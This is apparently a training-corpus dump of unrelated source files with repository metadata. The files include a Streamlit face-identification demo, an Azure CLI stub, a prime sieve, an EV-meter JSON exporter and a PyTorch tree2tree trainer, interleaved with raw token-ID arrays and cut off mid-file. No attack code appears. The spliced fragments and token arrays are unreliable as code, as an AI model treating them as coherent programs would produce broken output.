print('Saving slide {}/{}...'.format(slide+1, len(t)))
# plt.savefig(os.path.join(folder, '{}.png'.format(slide)))
figsav = plt.gcf()
figsav.set_size_inches((10, 5), forward=False)
figsav.savefig(os.path.join(folder, '{}.png'.format(slide)), dpi=200)
plt.close(fig)
plt.close(figsav)
print(folder)
if __name__ == '__main__':
p = ArgumentParser()
p.add_argument('root', type=str, help='local address')
p.add_argument('-n', '--naverage', type=int, help='number of slides to include in average', default=1)
p.add_argument('--overlap', help='allow overlap of slides', action='store_true')
p.add_argument('-s', '--slide', type=str, help='slide number [0,239]')
# p.add_argument('-o', '--odir', type=str, help='directory to save images')
p.add_argument('-p', '--proj', type=str, help='map projection - plate or polar', default='polar')
p.add_argument('-l', '--lim', type=float, help='absolute limit of colorbar - 0 for no absolute', default=70)
p.add_argument('-c', '--cmap', type=str, help='colormap', default=None)
P = p.parse_args()
root = P.root
if os.path.splitext(root)[1] in ['.h5', '.hdf5']:
save(root=P.root, n=P.naverage, overlap=P.overlap, slide=P.slide, proj=P.proj, lim=P.lim, cmap=P.cmap)
else:
if platform == 'win32':
flist = sorted(glob(os.path.split(root)[0] + '\\conv*.h5'))
elif platform in ['linux', 'linux2']:
flist = sorted(glob(os.path.split(root)[0] + '/conv*.h5'))
if len(flist) > 0:
for file in flist:
save(file, n=P.naverage, overlap=P.overlap, slide=P.slide, proj=P.proj, lim=P.lim, cmap=P.cmap)
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] |
recognition/streamlit_app.py | jfthuong/photo-organizer | 0 | 185660 | <gh_stars>0
import requests # type:ignore
import sys
import tempfile
from operator import itemgetter
from pathlib import Path
from typing import Callable, List, Tuple, Union
import streamlit as st
from streamlit.uploaded_file_manager import UploadedFile
import torch
import torchvision.transforms as transforms
from facenet_pytorch import MTCNN, InceptionResnetV1, extract_face
from fastai.vision.core import PILImage
from PIL import Image, ImageDraw, ImageFont
from torch import Tensor
PathLike = Union[Path, str]
pil2t = transforms.ToTensor()
t2pil = transforms.ToPILImage()
st.set_page_config(page_title="ML deployment, by unpackAI", page_icon="🖼️")
st.image("https://unpackai.github.io/unpackai_logo.svg")
st.title("Facial Identification")
st.write("### one-shot inference")
st.write("💉 *by Jeff* 🔫")
st.write("---")
device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu")
# Create an inception resnet (in eval mode for inference)
@st.cache(allow_output_mutation=True)
def get_resnet():
return InceptionResnetV1(pretrained="vggface2").eval().to(device)
resnet = get_resnet()
@st.cache
def get_image(img: PathLike) -> PILImage:
"""Get picture from either a path or URL"""
if str(img).startswith("http"):
with tempfile.TemporaryDirectory() as tmpdirname:
dest = Path(tmpdirname) / str(img).split("?")[0].rpartition("/")[-1]
with requests.get(str(img)) as resp:
resp.raise_for_status()
dest.write_bytes(resp.content)
return PILImage.create(dest)
else:
return PILImage.create(img)
def img_2_embedding(img_path: Union[PathLike, UploadedFile]) -> Tensor:
"""Calculate the embedding of a picture"""
resnet.classify = False
# We need to feed with a Tensor of pixels => we need to transform first
# We use `unsqueeze` to add batch dimension
img = pil2t(Image.open(img_path))
return resnet(img.unsqueeze(0).to(device))
DistFunc = Callable[[Tensor, Tensor], Union[float, Tensor]]
ListReferences = List[Union[Path, UploadedFile]]
def get_img_stem(img: Union[Path, UploadedFile]) -> str:
if isinstance(img, UploadedFile):
img = Path(img.name)
return img.stem
class FacialRecognizer:
# @st.cache(allow_output_mutation=True)
def __init__(
self, references: ListReferences, distance_func: DistFunc = torch.dist
):
self.distance = distance_func
self.references = {
get_img_stem(img): img_2_embedding(img) for img in references
}
def _embedding_2_person(
self, emb: Tensor, alpha: float = 0.2, threshold: float = 1.2
) -> Tuple[str, float]:
if not self.references:
raise ValueError("No reference images loaded")
dist = {p: self.distance(emb, img) for p, img in self.references.items()}
(p1, min_1), (_, min_2) = sorted(dist.items(), key=itemgetter(1))[:2]
if min_1 > threshold:
return "??", threshold
triplet_dist = float(min_1 - min_2 + alpha)
if triplet_dist <= 0:
person = p1
elif triplet_dist <= alpha:
person = f"~{p1}"
else:
person = f"?? ({p1}?)"
return person, triplet_dist
def get_person(self, img_path: PathLike, alpha: float = 0.2) -> Tuple[str, float]:
"""Return most likely person from an image path"""
new_img = img_2_embedding(img_path)
return self._embedding_2_person(new_img, alpha)
def face_2_person(self, face: Tensor, alpha: float = 0.2) -> Tuple[str, float]:
"""Return most likely person from a face"""
# We first need to embed the face for comparison
new_img = resnet(face.unsqueeze(0).to(device))
return self._embedding_2_person(new_img, alpha)
st.sidebar.header("References Images")
select_references = st.sidebar.radio(
"Which references to choose", ["Friends", "Custom"]
)
if select_references == "Friends":
st.sidebar.write(
'*We are using one picture for each one of the "Friends": Ross, Rachel, etc.*'
)
reference_dir = Path(__file__).parent / "friends_reference"
references = list(reference_dir.glob("*.jpg"))
else:
st.sidebar.write(
"Update one picture per person named after the person "
"*(e.g. 'Ada.jpg' for person named Ada)*"
)
references = st.sidebar.file_uploader(
"Upload reference pictures", accept_multiple_files=True
)
recognizer = FacialRecognizer(references=references)
if references:
st.sidebar.write(f"✔️🖼️ {len(references)} reference images found")
else:
st.sidebar.write(f"❌🖼️ No reference image found")
# @st.cache()
def show_persons_in_photos(
img: Image.Image,
recognizer: FacialRecognizer,
keep_all=True,
show_score=False,
min_face_size=20,
threshold=0.8,
ratio_face=0.02,
) -> Tuple[str, Image.Image]:
"""Crop face with MTCNN and return cropped & prewhitened image tensor"""
mtcnn = MTCNN(
image_size=160,
margin=0,
device=device,
keep_all=keep_all,
select_largest=True,
min_face_size=min_face_size,
)
try:
with tempfile.TemporaryDirectory() as tmpdirname:
boxes, probs = mtcnn.detect(img)
if boxes is None or not boxes.size:
return "No face", img
img_draw = img.copy()
draw = ImageDraw.Draw(img_draw)
persons: List[str] = list()
boxes_probs = sorted(zip(boxes, probs), key=lambda t: t[0][0])
for i, (box, prob) in enumerate(boxes_probs, start=1):
face = box.tolist()
ratio_w = (face[2] - face[0]) / img.shape[0]
ratio_h = (face[3] - face[1]) / img.shape[1]
if min(ratio_w, ratio_h) < ratio_face:
continue
if prob >= threshold:
# We need to save the picture and load it again
# ... because feeding a extract from the box did not seem to work
# ... or maybe it's because I did not understand how to do it
pic_path = Path(tmpdirname) / f"pic_{i}.jpg"
_ = extract_face(img, box, save_path=pic_path)
person, score = recognizer.get_person(pic_path)
persons.append(person)
draw.rectangle(face, width=5)
name_score = (
f"#{i}.{person}:{score:.2f}" if show_score else f"#{i}.{person}"
)
arial = Path(__file__).with_name("arial.ttf")
font = ImageFont.truetype(str(arial), 20)
draw.text(face, name_score, font=font, fill=(255, 255, 255, 255))
found_persons = ", ".join(persons) if persons else "No face identified"
return found_persons, img_draw
# We want to remove mtcnn at the end to reduce memory usage
finally:
del mtcnn
@st.cache()
def pic_2_predictions(pic):
img = get_image(pic)
return show_persons_in_photos(img, recognizer=recognizer)
def display_prediction(pic):
persons, img_annotation = pic_2_predictions(pic)
col_img, col_pred = st.columns(2)
col_img.image(img_annotation, caption=getattr(pic, "name", None))
col_pred.write(f"### {persons}")
select = st.radio(
"How to load pictures?", ["from files", "from samples of Friends", "from URL"]
)
st.write("---")
if select == "from URL":
url = st.text_input("url")
if url:
display_prediction(url)
elif select == "from samples of Friends":
pictures = sorted(Path(__file__).parent.glob("friends_samples/*.jpg"))
for pic in pictures:
display_prediction(pic)
else:
pictures = st.file_uploader("Choose pictures", accept_multiple_files=True)
for pic in pictures: # type:ignore # this is an iterable
display_prediction(pic)
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29898,
2492,
29918,
18317,
29892,
5777,
683,
29922,
657,
5552,
29898,
16447,
29892,
376,
978,
613,
6213,
876,
13,
1678,
784,
29918,
11965,
29889,
3539,
29898,
29888,
29908,
2277,
29937,
426,
6774,
787,
27195,
13,
13,
13,
2622,
353,
380,
29889,
13399,
29898,
13,
1678,
376,
5328,
304,
2254,
14956,
29973,
613,
6796,
3166,
2066,
613,
376,
3166,
11916,
310,
11169,
1975,
613,
376,
3166,
3988,
3108,
13,
29897,
13,
303,
29889,
3539,
703,
5634,
1159,
13,
13,
361,
1831,
1275,
376,
3166,
3988,
1115,
13,
1678,
3142,
353,
380,
29889,
726,
29918,
2080,
703,
2271,
1159,
13,
1678,
565,
3142,
29901,
13,
4706,
2479,
29918,
11965,
2463,
29898,
2271,
29897,
13,
13,
23681,
1831,
1275,
376,
3166,
11916,
310,
11169,
1975,
1115,
13,
1678,
14956,
353,
12705,
29898,
2605,
22168,
1445,
1649,
467,
3560,
29889,
23705,
703,
7932,
1975,
29918,
27736,
5515,
29889,
6173,
5783,
13,
1678,
363,
11942,
297,
14956,
29901,
13,
4706,
2479,
29918,
11965,
2463,
29898,
16447,
29897,
13,
13,
2870,
29901,
13,
1678,
14956,
353,
380,
29889,
1445,
29918,
9009,
261,
703,
15954,
852,
14956,
613,
3544,
29918,
20787,
29918,
5325,
29922,
5574,
29897,
13,
1678,
363,
11942,
297,
14956,
29901,
29871,
396,
1134,
29901,
17281,
396,
445,
338,
385,
4256,
519,
13,
4706,
2479,
29918,
11965,
2463,
29898,
16447,
29897,
13,
2
] |
azure_cli.py | isabella232/azure-storage-dd | 2 | 183297 | <reponame>isabella232/azure-storage-dd<filename>azure_cli.py
"""
CLI for Azure
"""
#stdlib
import argparse
# cli modules
from cli.storage_azure import StorageCLI
if __name__ == "__main__":
tools = [
StorageCLI,
]
parser = argparse.ArgumentParser(
description="Azure CLI to create/manage resource groups, namespaces, and generate data")
sub_parsers = parser.add_subparsers(help="commands")
for tool in tools:
tool(sub_parsers)
args = parser.parse_args()
args.func(args)
| [
1,
529,
276,
1112,
420,
29958,
275,
1107,
433,
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29941,
29906,
29914,
17688,
29899,
12925,
29899,
1289,
29966,
9507,
29958,
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29918,
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29889,
2272,
13,
15945,
29908,
13,
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363,
12634,
13,
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29908,
13,
13,
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4172,
1982,
13,
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543,
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304,
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482,
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29892,
2983,
22459,
29892,
322,
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848,
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13,
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1014,
29918,
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353,
13812,
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1202,
29918,
1491,
862,
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29898,
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543,
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297,
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13,
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29897,
13,
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353,
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29889,
5510,
29918,
5085,
580,
13,
1678,
6389,
29889,
9891,
29898,
5085,
29897,
13,
2
] |
solution/1978(소수 찾기).py | OMEGA-Y/Baekjoon-sol | 0 | 43683 | input()
num = set(map(int,input().split()))
prime = set([i for i in range(3,max(num)+1,2)])
for i in range(3,max(num)+1,2):
if i in prime:
prime -= set([i for i in range(i*2,max(num)+1,i)])
prime.add(2)
print(len(num.intersection(prime))) | [
1,
1881,
580,
13,
1949,
353,
731,
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1958,
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524,
29892,
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2
] |
bauer_bsm/exporter/chargy.py | alkradhazar/test1 | 7 | 1603994 | # BSM Python library and command line tool
#
# Copyright (C) 2020 chargeIT mobility GmbH
#
# SPDX-License-Identifier: Apache-2.0
from ..bsm import config
from ..bsm import dlms
from ..bsm.client import BsmClientDevice, SnapshotStatus, SunSpecBsmClientDevice
from ..sunspec.core import suns
from collections import OrderedDict
from datetime import datetime, timedelta, timezone
import json
import uuid
_CHARGY_IGNORED_SNAPSHOT_DATA_POINT_IDS = {'St', 'NSig', 'BSig', 'Sig'}
_CHARGY_MEASURAND_ID_BY_SNAPSHOT_DATA_POINT_ID = {
'MA1': '1-0:0.0.0*255',
'RCR': '1-0:1.8.0*198',
'TotWhImp': '1-0:1.8.0*255',
'W': '1-0:1.7.0*255',
}
_CHARGY_NUMERIC_DATA_POINT_TYPES = {
suns.SUNS_TYPE_ACC32,
suns.SUNS_TYPE_BITFIELD32,
suns.SUNS_TYPE_ENUM16,
suns.SUNS_TYPE_INT16,
suns.SUNS_TYPE_INT32,
suns.SUNS_TYPE_UINT16,
suns.SUNS_TYPE_UINT32,
}
_CHARGY_UNIT_NAME_BY_SUNSPEC_UNIT = {
'W': 'WATT',
'Wh': 'WATT_HOUR',
'min': 'MINUTE',
's': 'SECOND',
}
_CHARGY_VALUE_TYPE_BY_SUNSPEC_TYPE = {
suns.SUNS_TYPE_ACC32: 'UnsignedInteger32',
suns.SUNS_TYPE_BITFIELD32: 'UnsignedInteger32',
suns.SUNS_TYPE_ENUM16: 'UnsignedInteger32',
suns.SUNS_TYPE_INT16: 'Integer32',
suns.SUNS_TYPE_INT32: 'Integer32',
suns.SUNS_TYPE_STRING: 'String',
suns.SUNS_TYPE_UINT16: 'UnsignedInteger32',
suns.SUNS_TYPE_UINT32: 'UnsignedInteger32',
}
_SNAPSHOT_METADATA_POINT_IDS = [
config.SNAPSHOT_META1_DATA_POINT_ID,
config.SNAPSHOT_META2_DATA_POINT_ID,
config.SNAPSHOT_META3_DATA_POINT_ID,
]
_KNOWN_ID_TYPE_SCHEMES = ['rfid', 'sms']
def _generate_chargy_contract_information(snapshot):
contract = _tagged_snapshot_metadata(snapshot, 'contract-id')
result = {}
if contract is not None and any(map(lambda s: contract.startswith(s + ':'), _KNOWN_ID_TYPE_SCHEMES)):
(type_, id_) = contract.split(':', 1)
result['id'] = id_
result['type'] = type_
else:
result['id'] = contract
return result
def _generate_chargy_data(client, start_alias, end_alias, read_data=True, station_serial_number=None, station_compliance_info=None):
data = None
common = client.model_aliases[config.COMMON_INSTANCE_ALIAS]
bsm = client.model_aliases[config.BSM_INSTANCE_ALIAS]
start = client.model_aliases[start_alias]
end = client.model_aliases[end_alias]
if read_data:
common.read_points()
bsm.read_points()
start.read_points()
end.read_points()
start_data = _generate_chargy_snapshot_data(client, common, bsm, start)
end_data = _generate_chargy_snapshot_data(client, common, bsm, end)
if start_data and end_data:
data = OrderedDict()
data['@context'] = 'https://www.chargeit-mobility.com/contexts/charging-station-json-v1'
# The BSM Python support has no natural unique identifier for a
# charging process. Let's use an UUID then.
data['@id'] = str(uuid.uuid4())
data['chargePointInfo'] = _generate_chargy_point_info_data(client,
start, end)
data['chargingStationInfo'] = _generate_chargy_station_info_data(
client,
start,
end,
serial_number=station_serial_number,
compliance_info=station_compliance_info)
data['signedMeterValues'] = [start_data, end_data]
return data
def _generate_chargy_place_info_data(client):
info = OrderedDict()
# Provide some dummy information for testing.
info['geoLocation'] = {'lat': 48.03552, 'lon': 10.50669}
info['address'] = {'street': 'Breitenbergstr. 2', 'town': 'Mindelheim', 'zipCode': '87719'}
return info
def _generate_chargy_point_info_data(client, start, end):
data = OrderedDict()
data['placeInfo'] = _generate_chargy_place_info_data(client)
data['evseId'] = _tagged_snapshots_metadata(start, end, 'evse-id')
return data
def _generate_chargy_snapshot_data(client, common, bsm, snapshot):
data = None
snapshot_status = snapshot.points[config.SNAPSHOT_STATUS_DATA_POINT_ID].value
if snapshot_status == SnapshotStatus.VALID:
data = OrderedDict()
meter_id = snapshot.points[config.SNAPSHOT_METER_ADDRESS_1_DATA_POINT_ID].value
response_counter = snapshot.points[config.SNAPSHOT_RESPONSE_COUNTER_DATA_POINT_ID].value
data['@context'] = 'https://www.chargeit-mobility.com/contexts/bsm-ws36a-json-v1'
# Device ID and response counter give a unique ID for a snapshot.
data['@id'] = '{}-{}'.format(meter_id, response_counter)
# The point in time of this measurement in ISO 8601 representation of
# epoch time and timezone offset. The latter are given in their native
# representation in 'additionalValues' to facilitate snapshot hash
# computation.
epoch_seconds = snapshot.points[config.SNAPSHOT_EPOCH_TIME_DATA_POINT_ID].value
timezone_offset_minutes = snapshot.points[config.SNAPSHOT_TIMEZONE_OFFSET_DATA_POINT_ID].value
when = None
if epoch_seconds is not None and timezone_offset_minutes is not None:
timezone_ = timezone(timedelta(minutes=timezone_offset_minutes))
when = datetime.fromtimestamp(epoch_seconds, timezone_)
if when is not None:
data['time'] = when.isoformat()
# Provide a combined firmware information string for meter and
# communication module.
firmware_version = '{}, {}'.format(
bsm.points[config.BSM_SOFTWARE_VERSION_METER_DATA_POINT_ID].value,
bsm.points[config.BSM_SOFTWARE_VERSION_COMMUNICATION_MODULE_DATA_POINT_ID].value)
data['meterInfo'] = {
'firmwareVersion': firmware_version,
'publicKey': client.get_public_key(read_data=False).hex(),
'meterId': meter_id,
'manufacturer': common.points[config.COMMON_MANUFACTURER_DATA_POINT_ID].value,
'type': common.points[config.COMMON_MODEL_DATA_POINT_ID].value,
}
data['contract'] = _generate_chargy_contract_information(snapshot)
data['measurementId'] = response_counter
data['value'] = _generate_chargy_snapshot_value_data(client, snapshot.points[config.SNAPSHOT_REFERENCE_CUMULATIVE_REGISTER_DATA_POINT_ID])
# Provide snapshot data points except status and signature "in order of
# their appearance" which is the order for computing the message digest
# for signing.
additional_values = []
for point_id, point in snapshot.points.items():
if point_id not in _CHARGY_IGNORED_SNAPSHOT_DATA_POINT_IDS:
additional_values.append(_generate_chargy_snapshot_value_data(client, point))
data['additionalValues'] = additional_values
data['signature'] = snapshot.device.repeating_blocks_blob(snapshot).hex()
return data
def _generate_chargy_snapshot_value_data(client, point):
measurand = OrderedDict()
# Provide OBIS ID where available.
measurand_id = _CHARGY_MEASURAND_ID_BY_SNAPSHOT_DATA_POINT_ID.get(point.point_type.id, None)
_put_non_null(measurand, 'id', measurand_id)
_put_non_null(measurand, 'name', point.point_type.id)
value = OrderedDict()
point_type = point.point_type.type
# Provide a scale factor. Either the one explicity given by an associated
# scale factor data point. Or the default value 10^0 == 1 which the device
# uses when computing the message digtst for singing.
scale = None
if point.sf_point:
scale = point.sf_point.value_base
elif point_type in _CHARGY_NUMERIC_DATA_POINT_TYPES:
scale = 0
# Provide a unit. Either the unit explicitly specified by the model or
# "unitless" indicated by DLMS code 255 (and a JSON null here). The device
# uses the latter for numeric values which have no explicitly assigned unit
# when computing the message digest for signing.
value_unit_name = None
value_unit_encoded = None
if point.point_type.units is not None:
value_unit_name = _CHARGY_UNIT_NAME_BY_SUNSPEC_UNIT[point.point_type.units]
value_unit_encoded = dlms.dlms_unit_for_symbol(point.point_type.units)
elif point_type in _CHARGY_NUMERIC_DATA_POINT_TYPES:
value_unit_encoded = dlms.DlmsUnits.UNITLESS
value_value = point.value_base
# SunSpec defines zero as 'not accumulated'/invalid value for accumulators
# and pySunSpec returns them as None. Let's have a numeric output in this
# case.
if point_type == suns.SUNS_TYPE_ACC32 and point.value_base is None:
value_value = 0
# Provide the encoding for string values at the time of hashing. The
# pySunSpec stack used by the BSM TOOL uses Latin 1/ISO-8859-1. If no
# encoding is given, UTF-8 will be assumed.
encoding = None
if point_type is suns.SUNS_TYPE_STRING:
encoding = 'ISO-8859-1'
_put_non_null(value, 'scale', scale)
_put_non_null(value, 'unit', value_unit_name)
_put_non_null(value, 'unitEncoded', value_unit_encoded)
_put_non_null(value, 'value', value_value)
_put_non_null(value, 'valueType', _CHARGY_VALUE_TYPE_BY_SUNSPEC_TYPE[point.point_type.type])
_put_non_null(value, 'valueEncoding', encoding)
data = OrderedDict()
data['measurand'] = measurand
data['measuredValue'] = value
return data
def _generate_chargy_station_info_data(client, start, end, serial_number=None, compliance_info=None):
data = OrderedDict()
data['manufacturer'] = 'chargeIT mobility GmbH'
data['type'] = 'CIT Ladesäule online'
_put_non_null(data, 'serialNumber', serial_number)
_put_non_null(data, 'controllerSoftwareVersion', _tagged_snapshots_metadata(start, end, 'csc-sw-version'))
_put_non_null(data, 'compliance', compliance_info)
return data
def _put_non_null(dict_, key, value):
if value is not None:
dict_[key] = value
def _tagged_snapshot_metadata(snapshot, tag):
prefix = tag + ': '
result = None
for id_ in _SNAPSHOT_METADATA_POINT_IDS:
value = snapshot.points[id_].value
if value is not None and value.startswith(prefix):
result = value[len(prefix):]
return result
def _tagged_snapshots_metadata(start, end, tag):
start_value = _tagged_snapshot_metadata(start, tag)
end_value = _tagged_snapshot_metadata(end, tag)
assert start_value == end_value
return start_value
def generate_chargy_json(client, start_alias, end_alias, read_data=True, station_serial_number=None, station_compliance_info=None):
"""
Generates a chargeIT mobility JSON document from signed turn-on and
turn-off snapshots.
The JSON document will be UTF-8 encoded. In case that one of the
snapshots is not valid, None will be returned.
"""
# Allow passing both types of BSM clients.
if isinstance(client, SunSpecBsmClientDevice):
client = client.device
assert isinstance(client, BsmClientDevice)
data = _generate_chargy_data(client,
start_alias=start_alias,
end_alias=end_alias,
read_data=read_data,
station_serial_number=station_serial_number,
station_compliance_info=station_compliance_info)
if data is not None:
data = json.dumps(data, indent=2).encode('utf-8')
return data
| [
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] |
mdemanipulation/src/mdeoperation.py | modelia/ai-for-model-manipulation | 0 | 10196 | <gh_stars>0
#!/usr/bin/env python2
import math
import os
import random
import sys
import time
import logging
import argparse
import numpy as np
from six.moves import xrange
import json
import torch
import torch.nn as nn
import torch.optim as optim
from torch import cuda
from torch.autograd import Variable
from torch.nn.utils import clip_grad_norm
import data_utils
import network
import cPickle as pickle
import datetime
def create_model(source_vocab_size, target_vocab_size, source_vocab_list, target_vocab_list, dropout_rate,
max_source_len, max_target_len):
model = network.Tree2TreeModel(
source_vocab_size,
target_vocab_size,
source_vocab_list,
target_vocab_list,
args.max_depth,
args.embedding_size,
args.hidden_size,
args.num_layers,
args.max_gradient_norm,
args.batch_size,
args.learning_rate,
dropout_rate,
args.no_pf,
args.no_attention)
if cuda.is_available():
model.cuda()
if args.load_model:
print("Reading model parameters from %s" % args.load_model)
pretrained_model = torch.load(args.load_model)
model.load_state_dict(pretrained_model)
else:
print("Created model with fresh parameters.")
model.init_weights(args.param_init)
return model
def step_tree2tree(model, encoder_inputs, init_decoder_inputs, feed_previous=False):
if feed_previous == False:
model.dropout_rate = args.dropout_rate
else:
model.dropout_rate = 0.0
predictions_per_batch, prediction_managers = model(encoder_inputs, init_decoder_inputs, feed_previous=feed_previous)
total_loss = None
for (predictions, target) in predictions_per_batch:
loss = model.loss_function(predictions, target)
if total_loss is None:
total_loss = loss
else:
total_loss += loss
total_loss /= len(encoder_inputs)
if feed_previous:
output_predictions = []
for prediction_manager in prediction_managers:
output_predictions.append(model.tree2seq(prediction_manager, 1))
if feed_previous == False:
model.optimizer.zero_grad()
total_loss.backward()
if args.max_gradient_norm > 0:
clip_grad_norm(model.parameters(), args.max_gradient_norm)
model.optimizer.step()
for idx in range(len(encoder_inputs)):
encoder_inputs[idx].clear_states()
if feed_previous:
return total_loss.data[0], output_predictions
else:
return total_loss.data[0]
def evaluate(model, test_set, source_vocab, target_vocab, source_vocab_list, target_vocab_list):
test_loss = 0
acc_tokens = 0
tot_tokens = 0
acc_programs = 0
tot_programs = len(test_set)
res = []
for idx in xrange(0, len(test_set), args.batch_size):
encoder_inputs, decoder_inputs = model.get_batch(test_set, start_idx=idx)
eval_loss, raw_outputs = step_tree2tree(model, encoder_inputs, decoder_inputs, feed_previous=True)
test_loss += len(encoder_inputs) * eval_loss
for i in xrange(len(encoder_inputs)):
if idx + i >= len(test_set):
break
current_output = []
for j in xrange(len(raw_outputs[i])):
current_output.append(raw_outputs[i][j])
current_source, current_target, current_source_manager, current_target_manager = test_set[idx + i]
current_target_print = data_utils.serialize_tree_with_vocabulary(current_target, target_vocab)
current_target = data_utils.serialize_tree(current_target)
current_source_print = data_utils.serialize_tree_with_vocabulary(current_source, source_vocab)
current_source = data_utils.serialize_tree(current_source)
# print("Evaluation time: %s seconds" % (datetime.datetime.now() - start_evaluation_datetime))
# print((datetime.datetime.now() - start_evaluation_datetime))
res.append((current_source, current_target, current_output))
current_output_print = data_utils.serialize_seq_with_vocabulary(current_output, target_vocab)
# print("--Current source / Current target / Current output--")
print(current_source_print)
print(current_target_print)
print(current_output_print)
# print(source_vocab)
print("---")
tot_tokens += len(current_target)
all_correct = 1
wrong_tokens = 0
for j in xrange(len(current_output)):
if j >= len(current_target):
break
if current_output[j] == current_target[j]:
acc_tokens += 1
else:
all_correct = 0
wrong_tokens += 1
acc_programs += all_correct
print(acc_tokens, tot_tokens, acc_programs, tot_programs)
test_loss /= tot_programs
print(" eval: loss %.2f" % test_loss)
print(" eval: accuracy of tokens %.2f" % (acc_tokens * 1.0 / tot_tokens))
print(" eval: accuracy of programs %.2f" % (acc_programs * 1.0 / tot_programs))
print(acc_tokens, tot_tokens, acc_programs, tot_programs)
def train(training_dataset, validation_dataset, source_vocab, target_vocab, source_vocab_list, target_vocab_list, no_train):
train_model = not no_train;
time_training = 0;
# build_from_scratch = True;
# pretrained_model_path = "/home/lola/nn/neuralnetwork.pth";
if (train_model):
print ("Reading training and val data :")
train_set = data_utils.prepare_data(training_dataset, source_vocab, target_vocab)
val_set = data_utils.prepare_data(validation_dataset, source_vocab, target_vocab)
if not os.path.isdir(args.train_dir_checkpoints):
os.makedirs(args.train_dir_checkpoints)
start_time = time.time()
start_datetime = datetime.datetime.now()
# if (build_from_scratch):
print("Creating %d layers of %d units." % (args.num_layers, args.hidden_size))
model = create_model(len(source_vocab), len(target_vocab), source_vocab_list, target_vocab_list, args.dropout_rate,
args.max_source_len, args.max_target_len)
# else:
# print("Loading pretrained model")
# pretrained_model = torch.load(pretrained_model_path)
# model.load_state_dict(pretrained_model)
print("Training model")
step_time, loss = 0.0, 0.0
current_step = 0
previous_losses = []
training_dataset_size = len(train_set)
for epoch in range(args.num_epochs):
print("epoch: %s/%s" % (epoch+1, args.num_epochs))
batch = 0
random.shuffle(train_set)
for batch_idx in range(0, training_dataset_size, args.batch_size):
batch += 1
start_time = time.time()
encoder_inputs, decoder_inputs = model.get_batch(train_set, start_idx=batch_idx)
step_loss = step_tree2tree(model, encoder_inputs, decoder_inputs, feed_previous=False)
step_time += (time.time() - start_time) / args.steps_per_checkpoint
loss += step_loss / args.steps_per_checkpoint
current_step += 1
print(" batch: %s/%s" % (batch, training_dataset_size/args.batch_size))
if current_step % args.learning_rate_decay_steps == 0 and model.learning_rate > 0.0001:
model.decay_learning_rate(args.learning_rate_decay_factor)
if current_step % args.steps_per_checkpoint == 0:
print ("learning rate %.4f step-time %.2f loss "
"%.2f" % (model.learning_rate, step_time, loss))
previous_losses.append(loss)
ckpt_path = os.path.join(args.train_dir_checkpoints, "translate_" + str(current_step) + ".ckpt")
ckpt = model.state_dict()
torch.save(ckpt, ckpt_path)
step_time, loss = 0.0, 0.0
encoder_inputs, decoder_inputs = model.get_batch(val_set, start_idx=0)
eval_loss, decoder_outputs = step_tree2tree(model, encoder_inputs, decoder_inputs, feed_previous=True)
print(" eval: loss %.2f" % eval_loss)
sys.stdout.flush()
time_training = (datetime.datetime.now() - start_datetime)
print("Saving model")
torch.save(model.state_dict(), "/home/lola/nn/neuralnetwork.pth")
else : # not train_model
print("Loading the pretrained model")
model = create_model(len(source_vocab), len(target_vocab), source_vocab_list, target_vocab_list,
args.dropout_rate,
args.max_source_len, args.max_target_len)
print("Evaluating model")
start_evaluation_datetime = datetime.datetime.now()
test_dataset = json.load(open(args.test_dataset, 'r'))
test_set = data_utils.prepare_data(test_dataset, source_vocab, target_vocab)
evaluate(model, test_set, source_vocab, target_vocab, source_vocab_list, target_vocab_list)
if (train_model):
print("Training time: %s seconds" % time_training)
print("Total Evaluation time: %s seconds" % (datetime.datetime.now() - start_evaluation_datetime))
def test(test_dataset, source_vocab, target_vocab, source_vocab_list, target_vocab_list):
model = create_model(len(source_vocab), len(target_vocab), source_vocab_list, target_vocab_list, 0.0,
args.max_source_len, args.max_target_len)
test_set = data_utils.prepare_data(test_dataset, source_vocab, target_vocab)
evaluate(model, test_set, source_vocab, target_vocab, source_vocab_list, target_vocab_list)
parser = argparse.ArgumentParser()
parser.add_argument('--param_init', type=float, default=0.1,
help='Parameters are initialized over uniform distribution in (-param_init, param_init)')
parser.add_argument('--num_epochs', type=int, default=30, help='number of training epochs') #default 30
parser.add_argument('--learning_rate', type=float, default=0.005, # default 0.005
help='learning rate')
parser.add_argument('--learning_rate_decay_factor', type=float, default=0.8,
help='learning rate decays by this much')
parser.add_argument('--learning_rate_decay_steps', type=int, default=2000, # default=2000
help='decay the learning rate after certain steps')
parser.add_argument('--max_gradient_norm', type=float, default=5.0,
help='clip gradients to this norm')
parser.add_argument('--batch_size', type=int, default=64, #default 100
help='batch size')
parser.add_argument('--max_depth', type=int, default=100,
help='max depth for tree models')
parser.add_argument('--hidden_size', type=int, default=256,
help='size of each model layer')
parser.add_argument('--embedding_size', type=int, default=256,
help='size of the embedding')
parser.add_argument('--dropout_rate', type=float, default=0.75, # default=0.5
help='dropout rate')
parser.add_argument('--num_layers', type=int, default=1, # default=1,
help='number of layers in the model')
parser.add_argument('--source_vocab_size', type=int, default=0,
help='source vocabulary size (0: no limit)')
parser.add_argument('--target_vocab_size', type=int, default=0,
help='target vocabulary size (0: no limit)')
parser.add_argument('--train_dir_checkpoints', type=str, default='/home/lola/nn/checkpoints', # default='../model_ckpts/tree2tree/',
help='training directory - checkpoints')
parser.add_argument('--training_dataset', type=str, default='/home/lola/nn/models_train.json', # default='../data/CS-JS/BL/preprocessed_progs_train.json',
help='training dataset path')
parser.add_argument('--validation_dataset', type=str, default='/home/lola/nn/models_valid.json', #default='../data/CS-JS/BL/preprocessed_progs_valid.json',
help='validation dataset path')
parser.add_argument('--test_dataset', type=str, default='/home/lola/nn/models_test.json', #default='../data/CS-JS/BL/preprocessed_progs_test.json',
help='test dataset path')
parser.add_argument('--load_model', type=str, default='/home/lola/nn/neuralnetwork.pth', # default=None
help='path to the pretrained model')
parser.add_argument('--vocab_filename', type=str, default=None,
help='filename for the vocabularies')
parser.add_argument('--steps_per_checkpoint', type=int, default=500,
help='number of training steps per checkpoint')
parser.add_argument('--max_source_len', type=int, default=115,
help='max length for input')
parser.add_argument('--max_target_len', type=int, default=315,
help='max length for output')
parser.add_argument('--test', action='store_true', help='set to true for testing')
parser.add_argument('--no_attention', action='store_true', help='set to true to disable attention')
parser.add_argument('--no_pf', action='store_true', help='set to true to disable parent attention feeding')
parser.add_argument('--no_train', help='set to true to prevent the network from training', action='store_true')
args = parser.parse_args()
def main():
if args.no_attention:
args.no_pf = True
training_dataset = json.load(open(args.training_dataset, 'r'))
source_vocab, target_vocab, source_vocab_list, target_vocab_list = data_utils.build_vocab(training_dataset, args.vocab_filename)
if args.test:
